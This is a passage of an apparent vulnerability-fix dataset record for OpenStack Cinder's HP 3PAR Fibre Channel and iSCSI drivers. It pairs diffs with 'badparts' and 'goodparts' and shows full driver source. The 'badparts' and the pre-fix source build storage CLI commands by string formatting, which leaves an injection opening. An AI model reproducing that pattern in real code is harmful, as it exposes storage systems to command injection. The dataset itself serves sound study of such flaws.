cmd.append(cpg)", " cmd.append(dest_name)", " self._cli_run(cmd)"]}, {"diff": "\n NOTE(walter-boring): don't call this unless you know the volume is\n already in a vvset!\n \"\"\"\n- cmd = \"removevv -f %s\" % volume_name\n+ cmd = ['removevv', '-f', volume_name]\n LOG.debug(\"Issuing remove command to find vvset name %s\" % cmd)\n- out = self._cli_run(cmd, None)\n+ out = self._cli_run(cmd)\n vvset_name = None\n if out and len(out) > 1:\n if out[1].startswith(\"Attempt to delete \"):\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" cmd = \"removevv -f %s\" % volume_name", " out = self._cli_run(cmd, None)"], "goodparts": [" cmd = ['removevv', '-f', volume_name]", " out = self._cli_run(cmd)"]}, {"diff": "\n LOG.error(str(ex))\n \n def _get_3par_hostname_from_wwn_iqn(self, wwns_iqn):\n- out = self._cli_run('showhost -d', None)\n+ out = self._cli_run(['showhost', '-d'])\n # wwns_iqn may be a list of strings or a single\n # string. So, if necessary, create a list to loop.\n if not isinstance(wwns_iqn, list)", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" out = self._cli_run('showhost -d', None)"], "goodparts": [" out = self._cli_run(['showhost', '-d'])"]}]}, "/cinder/volume/drivers/san/hp/hp_3par_fc.py": {"changes": [{"diff": "\n connector['wwpns'])\n self.common.client_logout()\n \n- def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id):\n+ def _create_3par_fibrechan_host(self, hostname, wwns, domain, persona_id):\n \"\"\"Create a 3PAR host.\n \n Create a 3PAR host, if there is already a host on the 3par using\n the same wwn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n- out = self.common._cli_run('createhost -persona %s -domain %s %s %s'\n- % (persona_id, domain,\n- hostname, \" \".join(wwn)), None)\n+ command = ['createhost', '-persona', persona_id, '-domain', domain,\n+ hostname]\n+ for wwn in wwns:\n+ command.append(wwn)\n+\n+ out = self.common._cli_run(command)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n \n return hostname\n \n- def _modify_3par_fibrechan_host(self, hostname, wwn):\n+ def _modify_3par_fibrechan_host(self, hostname, wwns):\n # when using -add, you can not send the persona or domain options\n- out = self.common._cli_run('createhost -add %s %s'\n- % (hostname, \" \".join(wwn)), None)\n+ command = ['createhost', '-add', hostname]\n+ for wwn in wwns:\n+ command.append(wwn)\n+\n+ out = self.common._cli_run(command)\n \n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"", "add": 13, "remove": 7, "filename": "/cinder/volume/drivers/san/hp/hp_3par_fc.py", "badparts": [" def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id):", " out = self.common._cli_run('createhost -persona %s -domain %s %s %s'", " % (persona_id, domain,", " hostname, \" \".join(wwn)), None)", " def _modify_3par_fibrechan_host(self, hostname, wwn):", " out = self.common._cli_run('createhost -add %s %s'", " % (hostname, \" \".join(wwn)), None)"], "goodparts": [" def _create_3par_fibrechan_host(self, hostname, wwns, domain, persona_id):", " command = ['createhost', '-persona', persona_id, '-domain', domain,", " hostname]", " for wwn in wwns:", " command.append(wwn)", " out = self.common._cli_run(command)", " def _modify_3par_fibrechan_host(self, hostname, wwns):", " command = ['createhost', '-add', hostname]", " for wwn in wwns:", " command.append(wwn)", " out = self.common._cli_run(command)"]}], "source": "\n \"\"\" Volume driver for HP 3PAR Storage array. This driver requires 3.1.2 MU2 firmware on the 3PAR array. You will need to install the python hp3parclient. sudo pip install hp3parclient Set the following in the cinder.conf file to enable the 3PAR Fibre Channel Driver along with the required flags: volume_driver=cinder.volume.drivers.san.hp.hp_3par_fc.HP3PARFCDriver \"\"\" from hp3parclient import exceptions as hpexceptions from oslo.config import cfg from cinder import exception from cinder.openstack.common import log as logging from cinder import utils import cinder.volume.driver from cinder.volume.drivers.san.hp import hp_3par_common as hpcommon from cinder.volume.drivers.san import san VERSION=1.1 LOG=logging.getLogger(__name__) class HP3PARFCDriver(cinder.volume.driver.FibreChannelDriver): \"\"\"OpenStack Fibre Channel driver to enable 3PAR storage array. Version history: 1.0 -Initial driver 1.1 -QoS, extend volume, multiple iscsi ports, remove domain, session changes, faster clone, requires 3.1.2 MU2 firmware, copy volume <--> Image. \"\"\" def __init__(self, *args, **kwargs): super(HP3PARFCDriver, self).__init__(*args, **kwargs) self.common=None self.configuration.append_config_values(hpcommon.hp3par_opts) self.configuration.append_config_values(san.san_opts) def _init_common(self): return hpcommon.HP3PARCommon(self.configuration) def _check_flags(self): \"\"\"Sanity check to ensure we have required options set.\"\"\" required_flags=['hp3par_api_url', 'hp3par_username', 'hp3par_password', 'san_ip', 'san_login', 'san_password'] self.common.check_flags(self.configuration, required_flags) @utils.synchronized('3par', external=True) def get_volume_stats(self, refresh): self.common.client_login() stats=self.common.get_volume_stats(refresh) stats['storage_protocol']='FC' backend_name=self.configuration.safe_get('volume_backend_name') stats['volume_backend_name']=backend_name or self.__class__.__name__ self.common.client_logout() return stats def do_setup(self, context): self.common=self._init_common() self._check_flags() self.common.do_setup(context) def check_for_setup_error(self): \"\"\"Returns an error if prerequisites aren't met.\"\"\" self._check_flags() @utils.synchronized('3par', external=True) def create_volume(self, volume): self.common.client_login() metadata=self.common.create_volume(volume) self.common.client_logout() return{'metadata': metadata} @utils.synchronized('3par', external=True) def create_cloned_volume(self, volume, src_vref): self.common.client_login() new_vol=self.common.create_cloned_volume(volume, src_vref) self.common.client_logout() return{'metadata': new_vol} @utils.synchronized('3par', external=True) def delete_volume(self, volume): self.common.client_login() self.common.delete_volume(volume) self.common.client_logout() @utils.synchronized('3par', external=True) def create_volume_from_snapshot(self, volume, snapshot): \"\"\" Creates a volume from a snapshot. TODO: support using the size from the user. \"\"\" self.common.client_login() metadata=self.common.create_volume_from_snapshot(volume, snapshot) self.common.client_logout() return{'metadata': metadata} @utils.synchronized('3par', external=True) def create_snapshot(self, snapshot): self.common.client_login() self.common.create_snapshot(snapshot) self.common.client_logout() @utils.synchronized('3par', external=True) def delete_snapshot(self, snapshot): self.common.client_login() self.common.delete_snapshot(snapshot) self.common.client_logout() @utils.synchronized('3par', external=True) def initialize_connection(self, volume, connector): \"\"\"Assigns the volume to a server. Assign any created volume to a compute node/host so that it can be used from that host. The driver returns a driver_volume_type of 'fibre_channel'. The target_wwn can be a single entry or a list of wwns that correspond to the list of remote wwn(s) that will export the volume. Example return values: { 'driver_volume_type': 'fibre_channel' 'data':{ 'target_discovered': True, 'target_lun': 1, 'target_wwn': '1234567890123', } } or { 'driver_volume_type': 'fibre_channel' 'data':{ 'target_discovered': True, 'target_lun': 1, 'target_wwn':['1234567890123', '0987654321321'], } } Steps to export a volume on 3PAR * Create a host on the 3par with the target wwn * Create a VLUN for that HOST with the volume we want to export. \"\"\" self.common.client_login() host=self._create_host(volume, connector) vlun=self.common.create_vlun(volume, host) ports=self.common.get_ports() self.common.client_logout() info={'driver_volume_type': 'fibre_channel', 'data':{'target_lun': vlun['lun'], 'target_discovered': True, 'target_wwn': ports['FC']}} return info @utils.synchronized('3par', external=True) def terminate_connection(self, volume, connector, **kwargs): \"\"\"Driver entry point to unattach a volume from an instance.\"\"\" self.common.client_login() self.common.terminate_connection(volume, connector['host'], connector['wwpns']) self.common.client_logout() def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id): \"\"\"Create a 3PAR host. Create a 3PAR host, if there is already a host on the 3par using the same wwn but with a different hostname, return the hostname used by 3PAR. \"\"\" out=self.common._cli_run('createhost -persona %s -domain %s %s %s' %(persona_id, domain, hostname, \" \".join(wwn)), None) if out and len(out) > 1: return self.common.parse_create_host_error(hostname, out) return hostname def _modify_3par_fibrechan_host(self, hostname, wwn): out=self.common._cli_run('createhost -add %s %s' %(hostname, \" \".join(wwn)), None) def _create_host(self, volume, connector): \"\"\"Creates or modifies existing 3PAR host.\"\"\" host=None hostname=self.common._safe_hostname(connector['host']) cpg=self.common.get_cpg(volume, allowSnap=True) domain=self.common.get_domain(cpg) try: host=self.common._get_3par_host(hostname) if not host['FCPaths']: self._modify_3par_fibrechan_host(hostname, connector['wwpns']) host=self.common._get_3par_host(hostname) except hpexceptions.HTTPNotFound as ex: persona_id=self.common.get_persona_type(volume) hostname=self._create_3par_fibrechan_host(hostname, connector['wwpns'], domain, persona_id) host=self.common._get_3par_host(hostname) return host @utils.synchronized('3par', external=True) def create_export(self, context, volume): pass @utils.synchronized('3par', external=True) def ensure_export(self, context, volume): pass @utils.synchronized('3par', external=True) def remove_export(self, context, volume): pass def extend_volume(self, volume, new_size): self.common.extend_volume(volume, new_size) ", "sourceWithComments": "# vim: tabstop=4 shiftwidth=4 softtabstop=4\n#\n# (c) Copyright 2013 Hewlett-Packard Development Company, L.P.\n# All Rights Reserved.\n#\n# Copyright 2012 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n\"\"\"\nVolume driver for HP 3PAR Storage array.\nThis driver requires 3.1.2 MU2 firmware on the 3PAR array.\n\nYou will need to install the python hp3parclient.\nsudo pip install hp3parclient\n\nSet the following in the cinder.conf file to enable the\n3PAR Fibre Channel Driver along with the required flags:\n\nvolume_driver=cinder.volume.drivers.san.hp.hp_3par_fc.HP3PARFCDriver\n\"\"\"\n\nfrom hp3parclient import exceptions as hpexceptions\nfrom oslo.config import cfg\n\nfrom cinder import exception\nfrom cinder.openstack.common import log as logging\nfrom cinder import utils\nimport cinder.volume.driver\nfrom cinder.volume.drivers.san.hp import hp_3par_common as hpcommon\nfrom cinder.volume.drivers.san import san\n\nVERSION = 1.1\nLOG = logging.getLogger(__name__)\n\n\nclass HP3PARFCDriver(cinder.volume.driver.FibreChannelDriver):\n \"\"\"OpenStack Fibre Channel driver to enable 3PAR storage array.\n\n Version history:\n 1.0 - Initial driver\n 1.1 - QoS, extend volume, multiple iscsi ports, remove domain,\n session changes, faster clone, requires 3.1.2 MU2 firmware,\n copy volume <--> Image.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super(HP3PARFCDriver, self).__init__(*args, **kwargs)\n self.common = None\n self.configuration.append_config_values(hpcommon.hp3par_opts)\n self.configuration.append_config_values(san.san_opts)\n\n def _init_common(self):\n return hpcommon.HP3PARCommon(self.configuration)\n\n def _check_flags(self):\n \"\"\"Sanity check to ensure we have required options set.\"\"\"\n required_flags = ['hp3par_api_url', 'hp3par_username',\n 'hp3par_password',\n 'san_ip', 'san_login', 'san_password']\n self.common.check_flags(self.configuration, required_flags)\n\n @utils.synchronized('3par', external=True)\n def get_volume_stats(self, refresh):\n self.common.client_login()\n stats = self.common.get_volume_stats(refresh)\n stats['storage_protocol'] = 'FC'\n backend_name = self.configuration.safe_get('volume_backend_name')\n stats['volume_backend_name'] = backend_name or self.__class__.__name__\n self.common.client_logout()\n return stats\n\n def do_setup(self, context):\n self.common = self._init_common()\n self._check_flags()\n self.common.do_setup(context)\n\n def check_for_setup_error(self):\n \"\"\"Returns an error if prerequisites aren't met.\"\"\"\n self._check_flags()\n\n @utils.synchronized('3par', external=True)\n def create_volume(self, volume):\n self.common.client_login()\n metadata = self.common.create_volume(volume)\n self.common.client_logout()\n return {'metadata': metadata}\n\n @utils.synchronized('3par', external=True)\n def create_cloned_volume(self, volume, src_vref):\n self.common.client_login()\n new_vol = self.common.create_cloned_volume(volume, src_vref)\n self.common.client_logout()\n return {'metadata': new_vol}\n\n @utils.synchronized('3par', external=True)\n def delete_volume(self, volume):\n self.common.client_login()\n self.common.delete_volume(volume)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"\n Creates a volume from a snapshot.\n\n TODO: support using the size from the user.\n \"\"\"\n self.common.client_login()\n metadata = self.common.create_volume_from_snapshot(volume, snapshot)\n self.common.client_logout()\n return {'metadata': metadata}\n\n @utils.synchronized('3par', external=True)\n def create_snapshot(self, snapshot):\n self.common.client_login()\n self.common.create_snapshot(snapshot)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def delete_snapshot(self, snapshot):\n self.common.client_login()\n self.common.delete_snapshot(snapshot)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def initialize_connection(self, volume, connector):\n \"\"\"Assigns the volume to a server.\n\n Assign any created volume to a compute node/host so that it can be\n used from that host.\n\n The driver returns a driver_volume_type of 'fibre_channel'.\n The target_wwn can be a single entry or a list of wwns that\n correspond to the list of remote wwn(s) that will export the volume.\n Example return values:\n\n {\n 'driver_volume_type': 'fibre_channel'\n 'data': {\n 'target_discovered': True,\n 'target_lun': 1,\n 'target_wwn': '1234567890123',\n }\n }\n\n or\n\n {\n 'driver_volume_type': 'fibre_channel'\n 'data': {\n 'target_discovered': True,\n 'target_lun': 1,\n 'target_wwn': ['1234567890123', '0987654321321'],\n }\n }\n\n\n Steps to export a volume on 3PAR\n * Create a host on the 3par with the target wwn\n * Create a VLUN for that HOST with the volume we want to export.\n\n \"\"\"\n self.common.client_login()\n # we have to make sure we have a host\n host = self._create_host(volume, connector)\n\n # now that we have a host, create the VLUN\n vlun = self.common.create_vlun(volume, host)\n\n ports = self.common.get_ports()\n\n self.common.client_logout()\n info = {'driver_volume_type': 'fibre_channel',\n 'data': {'target_lun': vlun['lun'],\n 'target_discovered': True,\n 'target_wwn': ports['FC']}}\n return info\n\n @utils.synchronized('3par', external=True)\n def terminate_connection(self, volume, connector, **kwargs):\n \"\"\"Driver entry point to unattach a volume from an instance.\"\"\"\n self.common.client_login()\n self.common.terminate_connection(volume,\n connector['host'],\n connector['wwpns'])\n self.common.client_logout()\n\n def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id):\n \"\"\"Create a 3PAR host.\n\n Create a 3PAR host, if there is already a host on the 3par using\n the same wwn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n out = self.common._cli_run('createhost -persona %s -domain %s %s %s'\n % (persona_id, domain,\n hostname, \" \".join(wwn)), None)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n\n return hostname\n\n def _modify_3par_fibrechan_host(self, hostname, wwn):\n # when using -add, you can not send the persona or domain options\n out = self.common._cli_run('createhost -add %s %s'\n % (hostname, \" \".join(wwn)), None)\n\n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\n host = None\n hostname = self.common._safe_hostname(connector['host'])\n cpg = self.common.get_cpg(volume, allowSnap=True)\n domain = self.common.get_domain(cpg)\n try:\n host = self.common._get_3par_host(hostname)\n if not host['FCPaths']:\n self._modify_3par_fibrechan_host(hostname, connector['wwpns'])\n host = self.common._get_3par_host(hostname)\n except hpexceptions.HTTPNotFound as ex:\n # get persona from the volume type extra specs\n persona_id = self.common.get_persona_type(volume)\n # host doesn't exist, we have to create it\n hostname = self._create_3par_fibrechan_host(hostname,\n connector['wwpns'],\n domain,\n persona_id)\n host = self.common._get_3par_host(hostname)\n\n return host\n\n @utils.synchronized('3par', external=True)\n def create_export(self, context, volume):\n pass\n\n @utils.synchronized('3par', external=True)\n def ensure_export(self, context, volume):\n pass\n\n @utils.synchronized('3par', external=True)\n def remove_export(self, context, volume):\n pass\n\n def extend_volume(self, volume, new_size):\n self.common.extend_volume(volume, new_size)\n"}, "/cinder/volume/drivers/san/hp/hp_3par_iscsi.py": {"changes": [{"diff": "\n the same iqn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n- cmd = 'createhost -iscsi -persona %s -domain %s %s %s' % \\\n- (persona_id, domain, hostname, iscsi_iqn)\n- out = self.common._cli_run(cmd, None)\n+ cmd = ['createhost', '-iscsi', '-persona', persona_id, '-domain',\n+ domain, hostname, iscsi_iqn]\n+ out = self.common._cli_run(cmd)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n return hostname\n \n def _modify_3par_iscsi_host(self, hostname, iscsi_iqn):\n # when using -add, you can not send the persona or domain options\n- self.common._cli_run('createhost -iscsi -add %s %s'\n- % (hostname, iscsi_iqn), None)\n+ command = ['createhost', '-iscsi', '-add', hostname, iscsi_iqn]\n+ self.common._cli_run(command)\n \n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\n", "add": 5, "remove": 5, "filename": "/cinder/volume/drivers/san/hp/hp_3par_iscsi.py", "badparts": [" cmd = 'createhost -iscsi -persona %s -domain %s %s %s' % \\", " (persona_id, domain, hostname, iscsi_iqn)", " out = self.common._cli_run(cmd, None)", " self.common._cli_run('createhost -iscsi -add %s %s'", " % (hostname, iscsi_iqn), None)"], "goodparts": [" cmd = ['createhost', '-iscsi', '-persona', persona_id, '-domain',", " domain, hostname, iscsi_iqn]", " out = self.common._cli_run(cmd)", " command = ['createhost', '-iscsi', '-add', hostname, iscsi_iqn]", " self.common._cli_run(command)"]}, {"diff": "\n \n def _get_active_nsp(self, hostname):\n \"\"\"Return the active nsp, if one exists, for the given host.\"\"\"\n- result = self.common._cli_run('showvlun -a -host %s' % hostname, None)\n+ result = self.common._cli_run(['showvlun', '-a', '-host', hostname])\n if result:\n # first line is header\n result = result[1:]\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_iscsi.py", "badparts": [" result = self.common._cli_run('showvlun -a -host %s' % hostname, None)"], "goodparts": [" result = self.common._cli_run(['showvlun', '-a', '-host', hostname])"]}, {"diff": "\n def _get_least_used_nsp(self, nspss):\n \"\"\"\"Return the nsp that has the fewest active vluns.\"\"\"\n # return only the nsp (node:server:port)\n- result = self.common._cli_run('showvlun -a -showcols Port', None)\n+ result = self.common._cli_run(['showvlun', '-a', '-showcols', 'Port'])\n \n # count the number of nsps (there is 1 for each active vlun)\n nsp_counts =", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_iscsi.py", "badparts": [" result = self.common._cli_run('showvlun -a -showcols Port', None)"], "goodparts": [" result = self.common._cli_run(['showvlun', '-a', '-showcols', 'Port'])"]}], "source": "\n \"\"\" Volume driver for HP 3PAR Storage array. This driver requires 3.1.2 MU2 firmware on the 3PAR array. You will need to install the python hp3parclient. sudo pip install hp3parclient Set the following in the cinder.conf file to enable the 3PAR iSCSI Driver along with the required flags: volume_driver=cinder.volume.drivers.san.hp.hp_3par_iscsi.HP3PARISCSIDriver \"\"\" import sys from hp3parclient import exceptions as hpexceptions from cinder import exception from cinder.openstack.common import log as logging from cinder import utils import cinder.volume.driver from cinder.volume.drivers.san.hp import hp_3par_common as hpcommon from cinder.volume.drivers.san import san VERSION=1.1 LOG=logging.getLogger(__name__) DEFAULT_ISCSI_PORT=3260 class HP3PARISCSIDriver(cinder.volume.driver.ISCSIDriver): \"\"\"OpenStack iSCSI driver to enable 3PAR storage array. Version history: 1.0 -Initial driver 1.1 -QoS, extend volume, multiple iscsi ports, remove domain, session changes, faster clone, requires 3.1.2 MU2 firmware. \"\"\" def __init__(self, *args, **kwargs): super(HP3PARISCSIDriver, self).__init__(*args, **kwargs) self.common=None self.configuration.append_config_values(hpcommon.hp3par_opts) self.configuration.append_config_values(san.san_opts) def _init_common(self): return hpcommon.HP3PARCommon(self.configuration) def _check_flags(self): \"\"\"Sanity check to ensure we have required options set.\"\"\" required_flags=['hp3par_api_url', 'hp3par_username', 'hp3par_password', 'san_ip', 'san_login', 'san_password'] self.common.check_flags(self.configuration, required_flags) @utils.synchronized('3par', external=True) def get_volume_stats(self, refresh): self.common.client_login() stats=self.common.get_volume_stats(refresh) stats['storage_protocol']='iSCSI' backend_name=self.configuration.safe_get('volume_backend_name') stats['volume_backend_name']=backend_name or self.__class__.__name__ self.common.client_logout() return stats def do_setup(self, context): self.common=self._init_common() self._check_flags() self.iscsi_ips={} temp_iscsi_ip={} if len(self.configuration.hp3par_iscsi_ips) > 0: for ip_addr in self.configuration.hp3par_iscsi_ips: ip=ip_addr.split(':') if len(ip)==1: temp_iscsi_ip[ip_addr]={'ip_port': DEFAULT_ISCSI_PORT} elif len(ip)==2: temp_iscsi_ip[ip[0]]={'ip_port': ip[1]} else: msg=_(\"Invalid IP address format '%s'\") % ip_addr LOG.warn(msg) if(self.configuration.iscsi_ip_address not in temp_iscsi_ip): ip=self.configuration.iscsi_ip_address ip_port=self.configuration.iscsi_port temp_iscsi_ip[ip]={'ip_port': ip_port} iscsi_ports=self.common.get_ports()['iSCSI'] for(ip, iscsi_info) in iscsi_ports.iteritems(): if ip in temp_iscsi_ip: ip_port=temp_iscsi_ip[ip]['ip_port'] self.iscsi_ips[ip]={'ip_port': ip_port, 'nsp': iscsi_info['nsp'], 'iqn': iscsi_info['iqn'] } del temp_iscsi_ip[ip] if(self.configuration.iscsi_ip_address in temp_iscsi_ip): del temp_iscsi_ip[self.configuration.iscsi_ip_address] if len(temp_iscsi_ip) > 0: msg=_(\"Found invalid iSCSI IP address(s) in configuration \" \"option(s) hp3par_iscsi_ips or iscsi_ip_address '%s.'\") % \\ (\", \".join(temp_iscsi_ip)) LOG.warn(msg) if not len(self.iscsi_ips) > 0: msg=_('At least one valid iSCSI IP address must be set.') raise exception.InvalidInput(reason=(msg)) self.common.do_setup(context) def check_for_setup_error(self): \"\"\"Returns an error if prerequisites aren't met.\"\"\" self._check_flags() @utils.synchronized('3par', external=True) def create_volume(self, volume): self.common.client_login() metadata=self.common.create_volume(volume) self.common.client_logout() return{'metadata': metadata} @utils.synchronized('3par', external=True) def create_cloned_volume(self, volume, src_vref): \"\"\"Clone an existing volume.\"\"\" self.common.client_login() new_vol=self.common.create_cloned_volume(volume, src_vref) self.common.client_logout() return{'metadata': new_vol} @utils.synchronized('3par', external=True) def delete_volume(self, volume): self.common.client_login() self.common.delete_volume(volume) self.common.client_logout() @utils.synchronized('3par', external=True) def create_volume_from_snapshot(self, volume, snapshot): \"\"\" Creates a volume from a snapshot. TODO: support using the size from the user. \"\"\" self.common.client_login() metadata=self.common.create_volume_from_snapshot(volume, snapshot) self.common.client_logout() return{'metadata': metadata} @utils.synchronized('3par', external=True) def create_snapshot(self, snapshot): self.common.client_login() self.common.create_snapshot(snapshot) self.common.client_logout() @utils.synchronized('3par', external=True) def delete_snapshot(self, snapshot): self.common.client_login() self.common.delete_snapshot(snapshot) self.common.client_logout() @utils.synchronized('3par', external=True) def initialize_connection(self, volume, connector): \"\"\"Assigns the volume to a server. Assign any created volume to a compute node/host so that it can be used from that host. This driver returns a driver_volume_type of 'iscsi'. The format of the driver data is defined in _get_iscsi_properties. Example return value: { 'driver_volume_type': 'iscsi' 'data':{ 'target_discovered': True, 'target_iqn': 'iqn.2010-10.org.openstack:volume-00000001', 'target_protal': '127.0.0.1:3260', 'volume_id': 1, } } Steps to export a volume on 3PAR * Get the 3PAR iSCSI iqn * Create a host on the 3par * create vlun on the 3par \"\"\" self.common.client_login() host=self._create_host(volume, connector) vlun=self.common.create_vlun(volume, host) self.common.client_logout() iscsi_ip=self._get_iscsi_ip(host['name']) iscsi_ip_port=self.iscsi_ips[iscsi_ip]['ip_port'] iscsi_target_iqn=self.iscsi_ips[iscsi_ip]['iqn'] info={'driver_volume_type': 'iscsi', 'data':{'target_portal': \"%s:%s\" % (iscsi_ip, iscsi_ip_port), 'target_iqn': iscsi_target_iqn, 'target_lun': vlun['lun'], 'target_discovered': True } } return info @utils.synchronized('3par', external=True) def terminate_connection(self, volume, connector, **kwargs): \"\"\"Driver entry point to unattach a volume from an instance.\"\"\" self.common.client_login() self.common.terminate_connection(volume, connector['host'], connector['initiator']) self.common.client_logout() def _create_3par_iscsi_host(self, hostname, iscsi_iqn, domain, persona_id): \"\"\"Create a 3PAR host. Create a 3PAR host, if there is already a host on the 3par using the same iqn but with a different hostname, return the hostname used by 3PAR. \"\"\" cmd='createhost -iscsi -persona %s -domain %s %s %s' % \\ (persona_id, domain, hostname, iscsi_iqn) out=self.common._cli_run(cmd, None) if out and len(out) > 1: return self.common.parse_create_host_error(hostname, out) return hostname def _modify_3par_iscsi_host(self, hostname, iscsi_iqn): self.common._cli_run('createhost -iscsi -add %s %s' %(hostname, iscsi_iqn), None) def _create_host(self, volume, connector): \"\"\"Creates or modifies existing 3PAR host.\"\"\" host=None hostname=self.common._safe_hostname(connector['host']) cpg=self.common.get_cpg(volume, allowSnap=True) domain=self.common.get_domain(cpg) try: host=self.common._get_3par_host(hostname) if not host['iSCSIPaths']: self._modify_3par_iscsi_host(hostname, connector['initiator']) host=self.common._get_3par_host(hostname) except hpexceptions.HTTPNotFound: persona_id=self.common.get_persona_type(volume) hostname=self._create_3par_iscsi_host(hostname, connector['initiator'], domain, persona_id) host=self.common._get_3par_host(hostname) return host @utils.synchronized('3par', external=True) def create_export(self, context, volume): pass @utils.synchronized('3par', external=True) def ensure_export(self, context, volume): pass @utils.synchronized('3par', external=True) def remove_export(self, context, volume): pass def _get_iscsi_ip(self, hostname): \"\"\"Get an iSCSI IP address to use. Steps to determine which IP address to use. * If only one IP address, return it * If there is an active vlun, return the IP associated with it * Return IP with fewest active vluns \"\"\" if len(self.iscsi_ips)==1: return self.iscsi_ips.keys()[0] nsp=self._get_active_nsp(hostname) if nsp is None: nsp=self._get_least_used_nsp(self._get_iscsi_nsps()) if nsp is None: msg=_(\"Least busy iSCSI port not found, \" \"using first iSCSI port in list.\") LOG.warn(msg) return self.iscsi_ips.keys()[0] return self._get_ip_using_nsp(nsp) def _get_iscsi_nsps(self): \"\"\"Return the list of candidate nsps.\"\"\" nsps=[] for value in self.iscsi_ips.values(): nsps.append(value['nsp']) return nsps def _get_ip_using_nsp(self, nsp): \"\"\"Return IP assiciated with given nsp.\"\"\" for(key, value) in self.iscsi_ips.items(): if value['nsp']==nsp: return key def _get_active_nsp(self, hostname): \"\"\"Return the active nsp, if one exists, for the given host.\"\"\" result=self.common._cli_run('showvlun -a -host %s' % hostname, None) if result: result=result[1:] for line in result: info=line.split(\",\") if info and len(info) > 4: return info[4] def _get_least_used_nsp(self, nspss): \"\"\"\"Return the nsp that has the fewest active vluns.\"\"\" result=self.common._cli_run('showvlun -a -showcols Port', None) nsp_counts={} for nsp in nspss: nsp_counts[nsp]=0 current_least_used_nsp=None if result: result=result[1:] for line in result: nsp=line.strip() if nsp in nsp_counts: nsp_counts[nsp]=nsp_counts[nsp] +1 current_smallest_count=sys.maxint for(nsp, count) in nsp_counts.iteritems(): if count < current_smallest_count: current_least_used_nsp=nsp current_smallest_count=count return current_least_used_nsp def extend_volume(self, volume, new_size): self.common.extend_volume(volume, new_size) ", "sourceWithComments": "# vim: tabstop=4 shiftwidth=4 softtabstop=4\n#\n# (c) Copyright 2012-2013 Hewlett-Packard Development Company, L.P.\n# All Rights Reserved.\n#\n# Copyright 2012 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n\"\"\"\nVolume driver for HP 3PAR Storage array.\nThis driver requires 3.1.2 MU2 firmware on the 3PAR array.\n\nYou will need to install the python hp3parclient.\nsudo pip install hp3parclient\n\nSet the following in the cinder.conf file to enable the\n3PAR iSCSI Driver along with the required flags:\n\nvolume_driver=cinder.volume.drivers.san.hp.hp_3par_iscsi.HP3PARISCSIDriver\n\"\"\"\n\nimport sys\n\nfrom hp3parclient import exceptions as hpexceptions\n\nfrom cinder import exception\nfrom cinder.openstack.common import log as logging\nfrom cinder import utils\nimport cinder.volume.driver\nfrom cinder.volume.drivers.san.hp import hp_3par_common as hpcommon\nfrom cinder.volume.drivers.san import san\n\nVERSION = 1.1\nLOG = logging.getLogger(__name__)\nDEFAULT_ISCSI_PORT = 3260\n\n\nclass HP3PARISCSIDriver(cinder.volume.driver.ISCSIDriver):\n \"\"\"OpenStack iSCSI driver to enable 3PAR storage array.\n\n Version history:\n 1.0 - Initial driver\n 1.1 - QoS, extend volume, multiple iscsi ports, remove domain,\n session changes, faster clone, requires 3.1.2 MU2 firmware.\n\n \"\"\"\n def __init__(self, *args, **kwargs):\n super(HP3PARISCSIDriver, self).__init__(*args, **kwargs)\n self.common = None\n self.configuration.append_config_values(hpcommon.hp3par_opts)\n self.configuration.append_config_values(san.san_opts)\n\n def _init_common(self):\n return hpcommon.HP3PARCommon(self.configuration)\n\n def _check_flags(self):\n \"\"\"Sanity check to ensure we have required options set.\"\"\"\n required_flags = ['hp3par_api_url', 'hp3par_username',\n 'hp3par_password', 'san_ip', 'san_login',\n 'san_password']\n self.common.check_flags(self.configuration, required_flags)\n\n @utils.synchronized('3par', external=True)\n def get_volume_stats(self, refresh):\n self.common.client_login()\n stats = self.common.get_volume_stats(refresh)\n stats['storage_protocol'] = 'iSCSI'\n backend_name = self.configuration.safe_get('volume_backend_name')\n stats['volume_backend_name'] = backend_name or self.__class__.__name__\n self.common.client_logout()\n return stats\n\n def do_setup(self, context):\n self.common = self._init_common()\n self._check_flags()\n\n # map iscsi_ip-> ip_port\n # -> iqn\n # -> nsp\n self.iscsi_ips = {}\n temp_iscsi_ip = {}\n\n # use the 3PAR ip_addr list for iSCSI configuration\n if len(self.configuration.hp3par_iscsi_ips) > 0:\n # add port values to ip_addr, if necessary\n for ip_addr in 